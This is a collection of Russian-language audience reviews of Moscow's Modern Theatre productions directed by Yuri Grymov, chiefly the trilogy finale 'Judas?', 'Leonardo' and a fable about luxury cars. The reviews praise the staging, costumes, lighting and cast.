Сказка "Кладбище понтов" театра "Модерн"(режиссёр - Юрий Грымов) была не страшной. Да, поначалу рёв моторов машин был похож на вой диких зверей, а шум колёс на хайвэе почти преодолевал сверхзвуковой барьер, да и три тёмных многоярусных декорации были похожи на сторожевые башни. Что же они охраняли? Это знал хозяин Аркадий(Александр Борисов). Он заботился о своих машинах премиум-класса: подливал бензин в бензобаки ("бензин - это кровь, без него машины обескровлены"), планировал, как им жить в новых условиях, укладывал спать. Ещё Аркадий нанял музыканта (Богдан Щукин), чтобы тот играл на гитаре для его питомцев, да не просто играл, а чтобы "понежнее и помягче", ведь контингент хоть и luxury, но травмированный после ДТП.
Раньше на этой частной территории дежурили личные геликоптеры, а теперь шныряют искатели запчастей для дорогих иномарок - ещё тот контингент. Вот из-за таких джентльменов удачи и остановилось сердце у Аркаши - его мотор.
Мотор человека заглох,и машины осиротели в очередной раз. Теперь эмоционально, подробно или кратко они рассказывают о своих бывших хозяевах, с которыми были одной семьёй, дышали одним воздухом, защищали, обнимали. Практически всех владельцев объединяли иллюзии гонора, тщеславных надежд, связанных с машинами премиум-класса.
Вот красавец Мерс, пригнанный из Германии(Юрий Анпилогов) готов возглавить восстание! Бентли Континенталь(Александр Толмачёв) - практически нулевой, без пробега - готов ждать перемен,хотя его хозяин не считал его за человека. Красавица Ламборгини (Маина Чижевская) всё время срывается на крик и не устаёт отбиваться от посягательств на её роскошные формы: "Дворники убери! " (в переводе с автомобильного - "руками не трогай!") Фиолетовый Лексус (Константин Конушкин) не словоохотлив: у него хозяин сел на 25 лет. А изысканный Додж (Алексей Багдасаров) ,увы,не подлежит восстановлению. В компании могучего Бэхи(Алексей Баранов), великолепного Майбаха (Александр Мирлюнди), стильного Ягуара (Юрий Соколов) лишь Хендай (Александр Горелов) остаётся отщепенцем, но пребывает в добром расположении духа и всех веселит. Что с него взять -обычная корейская комплектация! Дитя корейского автопрома чувствует себя среди таких роскошных машин, как в раю. Он рисует все "прелести" их будущего - car-sharing, когда постоянного хозяина нет и можно ехать в театр или в бордель, а можно и туда и сюда сразу. И гадит своими словами прямо в душу автомобилей - в салон. Хёндай говорит на фарси, а его просят помолчать - и на фарси помолчать тоже. По всей видимости, радио не отключилось в его салоне - говорит без умолку.
Но судьба готовит ещё одно тяжёлое испытание этим сверхмашинам. Не всем удастся выйти из него с достоинством.
И вот тут восходит звезда Анны Каменковой(сказочницы бабушки Тойоты). Местами наивно, местами пафосно, а то и жалостливо говорит она и удерживает в узде железных коней она , а сама воплощает благородство,красоту,скорость этих созданий.
Вместе с ожившими лошадиными силами хочется взглянуть на ночное небо:
«… говорят, там, рядом с Большой Медведицей, иногда можно видеть созвездие Брошенных Машин».

7 января мне был подарок- билет в Театр "МОДЕРН" на спектакль "Иуда?"- да, со знаком вопроса. Интересная постановка режиссера Юрий Грымов - это второй спектакль его трилогии "Антихрист и Христос", который я посмотрела в этом театре...
Начало спектакля было неожиданным- наше время, открытая лекция в институте, где собрались студенты, преподаватели, члены ученого совета. Они обсуждают вопрос- было ли предательство Иуды; они спорят, пытаются доказать свою точку зрения. Одна сторона опирается на текст Библии, где рассказано о жизни и учении Христа. Другая сторона опирается на юридическую сторону этого вопроса, пытаясь доказать невиновность Иуды.
Очень интересный переход из нашего времени в 34 год н.э. , туда, где происходили самые известные события Евангелия. Как и в "Леонардо", здесь потрясающие реалистические картины тех времен. Декорации, костюмы всех персонажей, свет, который играет очень большую роль в этой волшебной постановке- все завораживает... Как и в "Леонардо", впечатление оживших картин великих мастеров. Только ради этого стоит посмотреть спектакль.
Браво всем создателям спектакля- художникам по костюмам, по свету, звукорежиссеру, художнику-сценографу и, конечно, главному создателю спектакля Юрию Грымову.
Спектакль хоть и не большой по продолжительности, но очень мощный, красивый, запоминающийся. Библейские истории- омывание Иисусом ног своим ученикам, разрешение вопроса о неверной жене, Мария Магдалина, Понтий Пилат, разъезжающий на своем коне, Иуда, которому по версии спектакля подбрасывают кошелек с 30-тью сребрениками- все интересно и заставляет задуматься о добре и зле, о предательстве и вере, о любви и прощении ...
Вопросы остаются и самый главный из них- если бы не было распятия, то не было бы и христианства? Очень серьезный вопрос.
И спектакль серьезный. Стоит посмотреть и посетить этот театр. Идите в театр.

"Леонардо" в театре Модерн. Я впервые была в этом театре. Как говорят, театр начинается с вешалки, а здесь театр начался сразу, как только переступил порог. Сразу чувствуешь, что тебя тут ждут и любят. Театр очень красиво украшен к Новому году. До начала спектакля еще было время, чтобы походить по театру и напитаться этой атмосферой.
«Леонардо»- это вторая часть трилогии режиссера Юрия Грымова Юрий Грымов «Христос и Антихрист», которая посвящена жизни и творческому пути Леонардо да Винчи.

Как только началось действие, с самой первой сцены в монастыре, ты понимаешь, что попал в атмосферу средневековья. Этому не мешает минимализм декораций, а звуковые и световые эффекты, потрясающие исторические костюмы еще больше способствуют этому погружению.
И на протяжении всего спектакля у меня было такое чувство, что я вижу ожившие картины. И самое первое потрясение- это «Тайная вечеря», над которой художник работал в 1495–1498 годы в доминиканском монастыре в Милане. Гениальное решение режиссера оживило эту работу гениального мастера. Перед зрителями появляется то Дама с горностаем, то Лиза Джоконда, то Витрувианский человек, как канон идеальных пропорций человека. А какая невероятно красивая пантомима в сцене борьбы Леонардо и Микеланджело. И свет здесь играет огромную роль, превращая прекрасные тела в скульптурную композицию.
Постановка получилась невероятно масштабной, здесь переплелись разные пласты жизни той эпохи- политические, исторические, художественные, нравственные. Грех и святость, Христос и Антихрист...
Грандиозный и яркий спектакль, оригинальная сценография, зрелищность, постановка полностью пропитана эстетикой эпохой Возрождения. Прекрасная актёрская игра и незабываемые эмоции. Главную роль великолепно играет Дмитрий Бозин, раскрывая многогранность гения, его глубину и неоднозначность.
Покорила роль русских православных живописцев, приехавших в Рим для поиска мастеров, которые могут быть полезны на родине.
Финал просто гениальный и очень важный по смыслу !
Браво режиссеру и всему актерскому составу за проделанную работу. Этот спектакль буду рекомендовать всем своим друзьям и близким.

Недавно побывала в театре Модерн на спектакле "Леонардо". Как говорят, театр начинается с вешалки, а здесь театр начался сразу, как только переступил порог. Сразу чувствуешь, что тебя тут ждут и любят. Театр очень красиво украшен к Новому году. До начала спектакля еще было время, чтобы походить по театру и напитаться этой атмосферой.
«Леонардо»- это вторая часть трилогии режиссера Юрия Грымова Юрий Грымов «Христос и Антихрист», которая посвящена жизни и творческому пути Леонардо да Винчи.
Как только началось действие, с самой первой сцены в монастыре, ты понимаешь, что попал в атмосферу средневековья. Этому не мешает минимализм декораций, а звуковые и световые эффекты, потрясающие исторические костюмы еще больше способствуют этому погружению.
И на протяжении всего спектакля у меня было такое чувство, что я вижу ожившие картины. И самое первое потрясение- это «Тайная вечеря», над которой художник работал в 1495–1498 годы в доминиканском монастыре в Милане. Гениальное решение режиссера оживило эту работу гениального мастера. Перед зрителями появляется то Дама с горностаем, то Лиза Джоконда, то Витрувианский человек, как канон идеальных пропорций человека. А какая невероятно красивая пантомима в сцене борьбы Леонардо и Микеланджело. И свет здесь играет огромную роль, превращая прекрасные тела в скульптурную композицию.
Но когда Леонардо видит роспись потолка Сикстинской капеллы в Ватикане, исполненную Микеланджело, он преклоняется перед ним. А мы можем любоваться ей на потолке зрительного зала....
Постановка получилась невероятно масштабной, здесь переплелись разные пласты жизни той эпохи- политические, исторические, художественные, нравственные. Грех и святость, Христос и Антихрист...

Грандиозный и яркий спектакль, оригинальная сценография, зрелищность, постановка полностью пропитана эстетикой эпохой Возрождения. Прекрасная актёрская игра и незабываемые эмоции. Главную роль великолепно играет Дмитрий Бозин, раскрывая многогранность гения, его глубину и неоднозначность.
Покорила роль русских православных живописцев, приехавших в Рим для поиска мастеров, которые могут быть полезны на родине.
Финал просто гениальный и очень важный по смыслу !

Браво режиссеру и всему актерскому составу за проделанную работу. Этот спектакль буду рекомендовать всем своим друзьям и близким.

"Сказки для взрослых" . Сцена Малого зала. Семь гротескных, философских, сюрреалистических историй по знаменитым сказочным сюжетам были поставлены режиссером-постановщиком
Сергеем Арониным по произведению модного американского писателя
Дон Нигро в театре"Модерн"
Эпизоды сказок шли один за другим, невидимый диктор объявлял название очередной сказки, на сцене включался свет и мы становились зрителями, а иногда и участниками действия.
Вот два индюка "с негативным мышлением" кулдыкают о том, что клевать кукурузные початки лучше, чем жучков, потому что жучки могут убежать, а початки нет. А их недалекая подружка Пенни(Маргарита Шилова) всё время грезит игрой на саксофоне, а не мусорными баками. Индюки уже не один раз объясняли Пенни, что у неё нет ни лап, ни губ, необходимых для игры на этом музыкальном инструменте. Но "индюшка с мечтой" свято верит, что научится.
А повзрослевший Пиноккио (Сергей Аронин) ходит на слепые свидания с женщинами. Он помнит все свои психологические трамвы, начиная со времени, когда он был поленом. И вообще ему очень тяжело с "мясными людьми": врать им он не может, потому что у него начинает расти нос, а слышать правду никто не желает. Пиноккио скороговоркой, достойной оглушительных оваций, рассказал всю свою жизнь Глории, но налёт осуждения прозвучал в её словах, когда она назвала его исповедь "кастрюлей философской бурды". Женщина металась в смятении, колебалась, нерешительно хотела уйти. Ушла ли?
Костюмы героев были минималистичными: Утконос из "Гадкого утёнка" (Надежда Меньшова)носила белую балетную пачку, жёлтые ласты и бумажный нос. А её клетчатая хозяйственная сумка была ровно такого размера, чтобы вместить портреты прародителей по линии селезней, уток и бобров, которые она с гордостью демонстрировала!
Кстати, эта же актриса появится в другом эпизоде, сыграв женщину-вамп-ведьму, которая устала от надоевших ей Гензеля (Юрий Соколов) и Гретель (Мария Кондратова). Они уже давно выросли и постоянно скандалят между собой.
Спектакль получился таким интригующим и разноплановым, что его хотелось ещё долго вспоминать и обсуждать.
А ещё мне очень захотелось посмотреть другие актёрские работы талантливой Маргариты Шиловой. Впрочем, у талантливого режиссёра весь состав исполнителей прекрасен!

Спектакль Юрия Грымова "***** i мир. Русский Пьер" масштабен, как и все постановки театра "Модерн".
Спектакль продолжается около четырёх часов. Акустическое присутствие 30 хористов хора имени Свешникова наполняет своим звучанием пространство с первых минут: На сцене сменяются действия,словно перелистываются страницы романа: посвящение Пьера Безухова в масонство, приезд Андрея Болконского в свою усадьбу в самый драматичный момент его жизни: смерть его жены при рождении сына; первый бал Наташи Ростовой, признание в любви.
Декораций нет, в чёрном пространстве сноп света выхватывает участников очередной сцены, которые играют в чётко освещённом пространстве: ритуальные маски, мантии, свечи масонов, женский хоровод вокруг молодой княжны Ростовой, наряжающий её на первый бал под величальные песни. В действии нет многословных диалогов, канва сюжета создаётся почти бессловесно - спектакль ИГРАЮТ. Но зрителю понятно, что, срывая с плеч Натальи Ростовой шаль, сестра Анатоля Курагина бросает её в объятия своего развратного братца. А сцена за обеденным столом в доме Ростовых, когда звон серебряной ложки о чайную чашку почти звучит набатом в руках княжны, потом её матери, затем Пьера, символизирует крайнюю напряжённость беседы.
Описать всё великолепие постановки очень сложно. Этот спектакль, как и другие постановки театра Модерн,создаёт впечатление кинематографичности: ты смотришь отлично смонтированный фильм, где непостижимым образом видны и мимика лица дворовых, и пудра, которой напомадилась княжна Мария Болконская, чтобы отпугнуть соискателя её руки, и до блеска начищенный самовар, который подносят к столу.
Во втором антракте зрители,выйдя в фойе, наблюдают картину сожжённой Москвы 1812 года: зеркала, стены завешены чёрно- серыми тканями пепелища, на креслах разбросаны вещи, обувь,уцелевшие после пожара,а на лестничном марше поёт православный хор.

Слово Грымова. Иуда – не чушпан!?

В Эфиопской церкви Понтий Пилат почитается в качестве святого. Дэн Браун поселил волнение в умах назвав Марию Магдалину любимой женщиной и ученицей Христа. Никас Казандзакис написал «Искушение Христа», где трактовка образа Иисуса была далека от канонической. В «Иуде Искариоте» Леонид Андреев пытается объяснить его поступок любовью к учителю. Наш современник, драматург Александр Шишов пишет пьесу «Иуда?» по романам Мережковского, и Юрий Грымов завершает ею свою блистательную театральную трилогию.

По вопросительному знаку в конце можно понять, что по догматичному восприятию библейского сюжета будет нанесён удар тараном. Крайне важно понимать, что взявшись за столь неоднозначную тему, Юрий Грымов не алкал дешёвого эпатажа. Спектакль ни в коей мере не являет собой ни театральную мистификацию, ни альтернативную версию Евангелия.

Господь с вами!

«Иуда?» - тот самый главный финальный аккорд, когда, начиная с первой части («Петр»), переходя на вторую («Леонардо») режиссер берёт каждый раз на полтона выше, и все звуки различной высоты в третьем спектакле воспринимаются как звуковое единство.

Если в двух предыдущих частях трилогии зрительский фокус и свет софитов наводится на блестящих Анпилогова и Бозина, то в «Иуде» на сцене царит блестящая соборная ансамблевость! Грымов никого не назначает главными героями, ими не являются ни Понтий Пилат, ни царь Ирод, ни Каиафа, ни Иуда, и даже не Иисус.

Эта история – про расчеловечивание и очеловечивание. Про то, как ничего ни ново под жарким солнцем Иудеи. Этот хитрый мир имеет сложное устройство, и то, что кажется неоспоримым, в действительности может являться омерзительной гнусной интригой. Если переодеть героев в деловые костюмы и пересадить Пилата с коня на Порше, а Каиафу на Бентли, то вопрос по Иисусу они порешают ровно так же как это было тысячелетия назад. Homines quo plura habent, eo cupiunt ampliora – «Чем больше люди имеют, тем больше желают иметь».

В спектакле напрочь отсутствует чрезмерный посыл изменить общепринятую трактовку Иуды как предателя. Отнюдь. Первая часть спектакля представляет собой своего рода органический плейбэк, мягко пытаясь пробудить человеческое сердце, освободить его от закоснелости и черствости. Разбор поведения и попытка психологически доказать возможную невиновность, позволяет по-новому увидеть и переосмыслить ситуацию. Не быть непримиримым в осуждении, но дать почувствовать причастность к происходящему. Заставить оттаять. Согрешения ведь бывают вольные и невольные.

А что, если всё было не так…
Потому как, если бы он предал, то тогда зачем он…
Если бы Христа не распяли, то возникло бы христианство?..

Фирменные знаки режиссуры Грымова можно узнавать по чувству целого и отточенности деталей в любом из его спектаклей. Актеры на сцене существуют как единая живая цельная система. В этом спектакле Грымов сталкивает видимое и незримое, отчего иногда возникает ощущение, что персонажи на сцене живые, как мы с вами, и одновременно сотканы из воздуха. Моменты абсолютной ошеломляющей тишины, когда слышен лишь стук собственного сердца, трудно поддаются описанию словами. Спектакль очень красив и даже в высшей степени художественен. Да ещё с отличной музыкальной палитрой. Костюмы времён происходящих событий изумительны.

«Иуда!» или «Иуда?»

Спектакль идет без антракта и после оглушительных оваций, когда зрители расходятся, хлопая сиденьями кресел, создаётся ощущение, что мало кто унёс с собой камень, который был готов бросить на сцену. Все свои камни они оставили в театре…

Богдан Щукин (Иисус) – Лев Смирнов (Иуда)

Александр Борисов (Понтий Пилат), Алексей Багдасаров (Каиафа), Константин Конушкин (Ирод), Вадим Пинский (Исхак)

Спектакль «Иуда?» Театр Модерн

Я так ждала заключительную часть трилогии Юрия Грымова «Антихрист и Христос». Два первых спектакля «Пётр» и «Леонардо» я уже смотрела и вот наконец попала на «Иуду?».
Начало спектакля немного ввергает в недоумение, вместо Древней Иудеи, когда открывается занавес мы оказываемся в современной аудитории, где профессор читает лекцию студентам об известном сюжете из Евангелия о предательстве Иуды. Но постепенно втягиваешься в действие, лекция переходит в дискуссию и ты тоже хочешь знать ответы на вопросы, которые задаёт профессор. Он сомневается, а действительно ли Иуда совершил это предательство? И предлагает рассмотреть факты с юридической точки зрения и провести своеобразный суд над Иудой, где судьями выступает весь зрительный зал. Приходит идея провести своеобразный следственный эксперимент и каждому сыграть роль исторического персонажа. И вот тут, как по мановению волшебной палочки, мы переносимся на 2 тысячи лет назад в Иерусалим. Картинка на сцене сразу меняется.
Сердце замирает от роскоши костюмов и от мрачной сценографии. Талантливый художник театра Ирэна Белоусова создала не костюмы, а настоящие шедевры. Герои на сцене были похожи на сошедшие с живописных картин персонажи.
Актерская игра выше всяких похвал! Богдан Щукин настолько натурально выглядит в образе Христа, что просто невероятно. Роль Иуды исполняет молодой актер Лев Смирнов, прекрасно сумевший передать противоречивость своего героя, его внутренние терзания и сомнения. Как всегда великолепны: Александр Борисов - могущественный Прокуратор Иудеи Понтий Пилат, восседающий на своем огромном коне😆, весь в сверкающих одеждах Каиафа(Алексей Багдасаров), царь Ирод (Константин Конушкин), «серый кардинал» Исхак (Вадим Пинский),…
Вообще в спектакле задействована большая часть труппы, около 30 человек и каждый заслуживает аплодисменты.
Кроме того, в спектакле есть еще очень важные персонажи - свет и музыка. Свет выхватывает из темноты самые главные детали. Музыкальное оформление, подобранное Юрием Грымовым, состоит из 450 треков и прекрасно дополняет действие👍.
Спектакль получился очень масштабным и глубоким , он оставляет много вопросов над которыми хочется поразмышлять.

Доподлинно известно только два факта – поцелуй Иуды и то, что он после распятия Христа повесился.
Опираясь лишь на них, гениальный (не побоюсь этого слова) художественный руководитель театра «Модерн» Юрий Грымов создал свою версию тех событий, назову её «Евангелие от Грымова» (хотя автор пьесы Александр Шишов), ставшую логическим завершением задуманной им трилогии «Антихрист и Христос» - о тонкой грани между добром и злом...
Вот совсем не хочется «раскрывать карты» и даже вкратце пересказывать, что же придумал на сей раз Юрий Вячеславович.
Скажу лишь, что я безоговорочно приняла его версию развития событий. Она была мне понятна «от и до» - а я так люблю, когда действие подчиняется логике.
Спектакль идет без антракта около двух часов, начинается он весьма неожиданно и лишь спустя какое-то время переносит зрителей в древнюю Иудею.
И там-то мы уже встречаемся с известными нам персонажами – Иисусом Христом (Богдан Щукин), Иудой (новое для меня в этом театре лицо, Лев Смирнов, создал весьма правдоподобный его образ), Марией Магдалиной (очаровательная Марианна Канивец) и «сильными мира сего» – величественным Понтием Пилатом (Александр Борисов), царем иудейским Иродом (Константин Конушкин) и, конечно же, еврейским первосвященником, главой Синедриона Каиафой (как всегда, очень убедительный в своей роли Александр Багдасаров).
Ну, а кто такой Исхак (гениально, на мой взгляд, сыгранный Вадимом Пинским) и какова, волею Грымова, его роль в известной всем нам, вроде бы, истории, придя на спектакль, узнаете сами.
Не устаю «ахать», видя роскошные костюмы, созданные Ирэной Белоусовой. Правда, в этом спектакле ей удалось хоть немного передохнуть – здесь предстояло облачить в богатые убранства лишь Понтия Пилата, Ирода и Каиафу (одеянию которого позавидует сам Патриарх Московский и всея Руси Кирилл), да, еще забыла про «серого кардинала» Исхака. Для остальных же (Христа, апостолов и жителей Иерусалима), на этот раз требовалось лишь создать соответствующие тем временам одежды. Но тоже, как ни крути, а на сцене порядка тридцати актеров!!!
Сценография состоит из огромных камней, стоящих по всей сцене.
«Сорежиссером» Грымова выступает свет, выхватывающий из полумрака нужную ему мизансцену. Выглядит это, как всегда, очень эффектно.
А интереснейших мизансцен здесь множество! Одна из них и вовсе пробрала до мурашек (выезд Пилата, под копытами коня которого человеческие тела).
Я была в начале октября на открытой репетиции спектакля, и там почерпнула сведения о том, что достойное восхищения музыкальное сопровождение спектакля включает порядка 450 треков (!!!) и представляет собой фрагменты из записей практически неизвестных широкой публике современных групп.
На репетиции был показан фрагмент, где Иисус моет своим ученикам ноги из кувшина, который потом вновь оказывается полным и режиссер сказал, что надо приготовить три одинаковых кувшина с водой и заменять их.
Так вот, зная об этом, я тщетно пыталась улучить момент подмены – не смогла... Так что актеры этого театра еще и иллюзионистами могут выступать! Браво!
И как поднялись в какой-то момент огромные камни, открыв пещеру, в которой находился Христос, я тоже не поняла...
«Для меня важно показать, что это БЫЛО!» - сказал зрителям после открытой репетиции Юрий Вячеславович.
Посмотрев спектакль, я смело могу ответить ему – «ВЕРЮ!!!»

Иуда?

Иуда? Почему в конце вопрос? 🤔 Постановка Юрия Грымова, театр Модерн.
Спектакль, завершение трилогии, к сожалению два спектакля из трилогии не смотрела, обязательно теперь посмотрю.
Спектакль, который посмотрела, навёл на размышления . На самом деле, каждый из нас найдет в нем свои собственные ответы. Кто виноват и кто прав? Кто предатель, а кто настоящий друг? Идея, которой пропитана постановка, похожа на кувшин, вода в котором никогда не кончается... 💧, с кувшином сцена очень понравилась.
А что мы на самом деле знаем о Иисусе и Иуде? Что произошло на самом деле? Сколько вопросов остается в голове после просмотра спектакля... 🤔 и сколько дум и размышлений.
Особенно понравилась идея с декорациями, камни…
Отличный выбор актёров Иисуса и Иуды. Спасибо всему актёрскому составу.
Так что, если вы ищете что-то необычное, что заставит задуматься и встряхнет вас своими вопросами, рекомендую посмотреть этот спектакль. Вы точно не останетесь равнодушными! 😮✨И на многие вопросы найдёте ответы.

26 октября мне посчастливилось побывать на пресс показе заклюительной части трилогии «Антихрист и Христос» Юрия Грымова - спектакле «Иуда?».
С театром Модерн у меня уже давно сложилась крепкая и прочная любовь - для меня он является неким эталоном. Когда я прихожу в театр, Модерн, я всегда ожидаю, что самые глубокие эмоции и проблемы будут озвучены, и я смогу их ощутить и разделить с актерами.

Я всегда остаюсь под впечатлением от спектаклей Юрия Вячеславовича, но в этот раз он превзошел сам себя. Казалось бы знакомая всем и каждому история, заиграла новыми красками совершенно с неожиданной стороны! Необычное произведение, которое заставляет зрителя «пораскинуть мозгами», пытаясь понять, что хотел сказать автор. Первая часть весьма неспешная, во второй же события набирают оборот и градус эмоциональности возрастает.

Персонажи настолько разноплановые, разнохарактерные, качественно прописанные и живые, что кажется будто подглядываешь за реальными событиями в реальном времени. Поймала себя на мысли, что хочется вернуться и пересмотреть еще раз.

Однозначно стоит отметить масштабность постановки и поблагодарить весь коллектив: декорации, свет, костюмы, звукорежиссура и конечно же актеры - всё сделано как всегда качественно и на высшем уровне. Работа проделана просто колоссальная, в том числе в историческом плане, ведь при создании спектакля была проделана колоссальная работа совместно с авторитетными историками! Очень меня зацепили и заставили пересмотреть и переосмыслить легендарный материал.

Техническая часть тоже просто на высоте - минималистично, изящно, чётко, трогательно. Театр «Модерн», пожалуй единственный театр, который при всем минимализме декораций, создает необычайную атмосферу, ловко используя свет и удивительнейшие детализированные костюмы.

Это было просто до мурашек. В горле ком, в глазах слезы, в коленках дрожь. Просто буря эмоций и огромнейшая пища для рефлексии и размышлений. Однозначно стоит сходить еще раз, для полноты картины и ощущений

В прошлый четверг в Театре "МОДЕРН" я побывала на показе заключительной части трилогии "Антихрист" и "Христос" под названием "Иуда?". Автором пьесы является Александр Шишов, режиссером - постановщиком, а также художником - сценографом, Юрий Грымов. Спектакль, в котором затрагиваются такие человеческие пороки как измена и алчность. На сцене очень реалистично воссоздается библейский сюжет на тему предательства Иисуса за тридцать сребреников.

Вот уже 2000 лет как человечество пытается познать истину и установить причину по которой самый близкий из учеников Иисуса Христа по имени Иуда Искариот совершает страшный поступок против своего учителя. Автор пьесы предлагает свой вариант развития хода событий на эту тему, заставляя зрителя поразмышлять. После просмотра спектакля у меня возник ряд спорных вопросов: каковы были истинные намерения предателя? Расскаился ли он в содеянном? Захотелось почитать специальную литературу, покопаться в истории.

Очень понравилась потрясающая реалистичная игра молодых актёров: Богдана Щукина в роли Иисуса и Льва Смиронова в роли Иуды. Также на сцене была задействована вся уникальная труппа Театра "МОДЕРН" , которая работала чётко и согласовано как один единый механизм.

Поразила завораживающая сцена, где Иисус смиренно и с большой любовью омывает ноги своим ученикам из кувшина, в котором не кончается вода.

Хотелось бы отметить потрясающую сценографию, благодаря которой на сцене буквально ожил Древний Иерусалим со своими скалистыми горами и холмами. Какие красивые получились образы героев в хитонах, выполненых из восточных тканей (талантливый художник по костюмам Ирена Белоусова)! Невозможно не упомянуть одну из самых важнейших художественных постановок - свет, грамотно акцентирующий внимание на самых важных деталях. Отдельно хотелось бы сказать о подобранной музыке. Действие на сцене сопровождалось очень красивым песнопением грузинского священнослужителя Серафима Бит-Хариби. Исполнялось оно на арамейском языке, на котором говорил Иисус Христос.

Масса положительных впечатлений возникла от просмотра этого спектакля, красиво, интересно, заставляет думать и анализировать, рекомендую! Хотелось бы пересмотреть его ещё раз. Сюжет рассказывать не буду, приходите и все увидите сами)

Я посмотрела все части трилогии и именно в той последовательности, которую рекомендует соблюдать режиссер Юрий Грымов. Каждая, из трех частей, произвела на меня большое впечатление. Задумываюсь о том, чтобы в ближайшее время повторить просмотр.
Работа над спектаклем проводилась довольно внушительный период времени, масштаб действа колоссальный, в каждой части трилогии задействована вся театральная труппа. Я, с нетерпением ожидала премьеру «Иуда?» буквально с того момента. Как только вышла из театра после просмотра первой части трилогии «Петр 1».⠀
Спектакль «Иуда?» начинается с лекции, которая переходит в формат дискуссии, из зала начинают появляться неравнодушные к обсуждаемому вопросу, студенты и плавно дискуссия перетекает в суд над Иудой. Участники дискуссии предлагают попробовать погрузиться в события тех времен и примерить на себя образы героев древней Иудеи.
Такой ход сценария спектакля напомнил мне лекцию самого Юрия Грымова об эпохе Возрождения и премьерный спектакль «Цветы нам не нужны…», который, к слову, мог быть прологом к трилогии «Антихрист и Христос». «Цветы нам не нужны…» это очень важный и нужный спектакль. Он о Нюрнбергском процессе. Приводите на этот спектакль своих детей подросткового возраста, как рекомендует Юрий Грымов. Этот спектакль очень важный!
Итак, от исторического суда над Иудой, мы переносимся практически на 2000 лет назад для того чтобы узнать, а было ли предательство Иуды предательством? Или это «удобная» версия для всего человечества? Ведь, как известно, тема предательства и предателей всегда актуальна и вызывает много споров.
В основе спектакля лежит известная библейская история об Иуде Искариоте, который предает Иисуса Христа за тридцать серебряников. В спектакле Грымова этот сюжет представлен в интересной интерпретации, что делает его более понятным и доступным для современного зрителя. Зритель с первых минут спектакля оказывается в водовороте событий, которые заставляют его задуматься о смысле жизни, предательстве и вере. Возможно случившееся, более чем 2000 лет назад, предопределило духовную и нравственную стороны жизней человечества.
Юрий Вячеславович Грымов всегда очень досконально и глубоко погружается в тему при подготовке спектакля. Максимально стараясь представить самую реалистичную концепцию событий. При минимуме декораций на сцене воссоздан удивительный мир, который сочетает в себе библейские мотивы и современную эстетику. Костюмы Ирэны Белоусовой всегда восхищают своим богатством и изысканным вкусом, я всегда любуюсь этими шедеврами. Декорации минималистичны, выполнены в контрастных тонах, много камней и много света. Свет в спектаклях Грымова – это еще один актер, который талантливо играет свою роль и подчеркивает драматизм происходящего на сцене. Музыкальное оформление спектакля поражает своей изысканностью и масштабом – около 450 треков задействованы в оформлении «Иуда?».
Прекрасный актёрский состав, умелыми руками режиссера и своим талантом, воплотил все режиссерские ходы и задумку, максимально погружаясь в своих персонажей. Роль Иисуса исполняет Богдан Щукин. Когда Богдан появляется на сцене в образе Иисуса, мое сознание не могло поверить в то, что видят мои глаза. Это невероятное попадание в образ - мы видим настоящего Иисуса Христа. Мимика актеров не оставит равнодушным ни одного из зрителей. Личная рекомендация – просто понаблюдайте за игрой взглядов, за мимикой, за движением по сцене.
Роль Иуды исполняет Лев Смирнов. Его Иуда – это не просто предатель, но и человек, который ищет свой путь в жизни. Актер сумел передать всю сложность и противоречивость своего героя, его внутренние терзания и сомнения. И в какой-то момент, мне стало жаль его персонажа. Но в этом сюжете каждый должен сделать свою оценку действиям и поступку Иуды. В глобальном плане скажу только одно – все не так, как нам кажется на первый взгляд, именно в этом, на мой взгляд, и кроется символичность вопросительного знака в названии спектакля. Еще один персонаж, сцены с которым вызвали мурашки на коже, Понтий Пилат в исполнении Александра Борисова. Есть в спектакле еще одна очень пронзительная сцена, и связана она именно с персонажем Понтий Пилата (Александр Борисов). Его Понтий Пилат могуществен, суров, в чем-то справедлив, монументально возвышаясь на лошади, вершит судьбы.

Спектакль “Иуда?” – это не только художественное произведение, но и глубокий философский анализ библейского сюжета. Режиссер Юрий Грымов предлагает зрителю задуматься над вопросами веры, предательства и смысла жизни. Настоящий дух и атмосфера Святой земли.
“Иуда?” - это яркий и запоминающийся спектакль. Событие в театральной жизни Москвы. Он будет интересен как любителям классического театра, так и тем, кто ищет новые формы и подходы к библейским сюжетам. Это очень глубокомысленная постановка, которая подталкивает зрителя к размышлению и поиску ответов. Где та самая грань между добром и злом?
Здесь мне хочется процитировать Юрия Грымова: «Я считаю, сегодня особенно важ¬но говорить о Христе и антихристе, искать ответы внутри мног¬овековой истории и, главное, – в самих себе!»

Финальная часть трилогии "АНТИХРИСТ И ХРИСТОС" в театре "Модерн"
Спектакль "ИУДА"
Режиссер Юрий Грымов
Красной нитью всей трилогии является символическое движение от ла к добру, от тьмы к свету, от Антихриста к Христу.
И нет ничего удивительного в том, что режиссёр после "Петра" и "Леонардо" отходит от Мережковского, воплощая в третьей части свою собственную идею - спектакль о Христе, поведав о нём через историю Иуды.
С помощью драматурга Александра Шишова рождается стройная, наполненная дополнительными смыслами и скрытыми мотивами версия событий, которые пусть и отстают от нас на пару тысяч лет, но мы все о них хорошо знаем из Нового Завета.
Но спектакль не просто очередной пересказ Евангелие. Это целое расследование. Попытка современных людей представить, понять и переосмыслить, что же на самом деле произошло с Иудой (Лев Смирнов). События того уже далёкого от нас времени продолжают будоражить умы. Кто-то безоговорочно верит написанному в Священных книгах, кто-то пытается читать и между строк тоже, надеясь отыскать или угадать новые подробности.
Вот ради этого и совершается некий прыжок из современной аудитории, полной преподавателей и студентов, в древнюю Иудею, где Иисус (Богдан Щукин) - Мессия, предсказанный ещё в Ветхом Завете - уже живёт среди людей и уже проповедует в окружении учеников, в том числе и Иуды.
Сцены, иллюстрирующие основные, всем нам известные события тех дней, например, изгнание торгующих из храма, или побиение грешницы камнями (сцена, во время которой произносится всем известное "Кто из вас без греха, первый брось на нее камень") производят сильнейшее впечатление!
Яркий талант Юрия Грымова создавать идеальную визуальную картинку реализован в этом спектакле настолько мощно, что просто смотришь на сцену завороженно и с наслаждением, отмечая мельчайшие детали и осознавая всю идеальность этой красоты. Что бы то ни было, лучи света или клубы тумана, всё выверено с хирургической точностью. И это очень впечатляет.
Добавляют красок в общую атмосферу и костюмы, и идеально подобранная музыка.
А исторических персонажей здесь много. И Понтий Пилат (Александр Борисов) - печально известный прокуратор Иудеи, и верховный жрец Каиафа (Алексей Багдасаров), и даже иудейский царь Ирод (Константин Конушкин). И прямо таки "серый кардинал" советник-секретарь Исхак (Вадим Пинский) Удивительно, как актёр умеет играть персонажей, далёких от совершенства, так, что невольно вызывает к ним симпатию. Талант - страшная сила :)
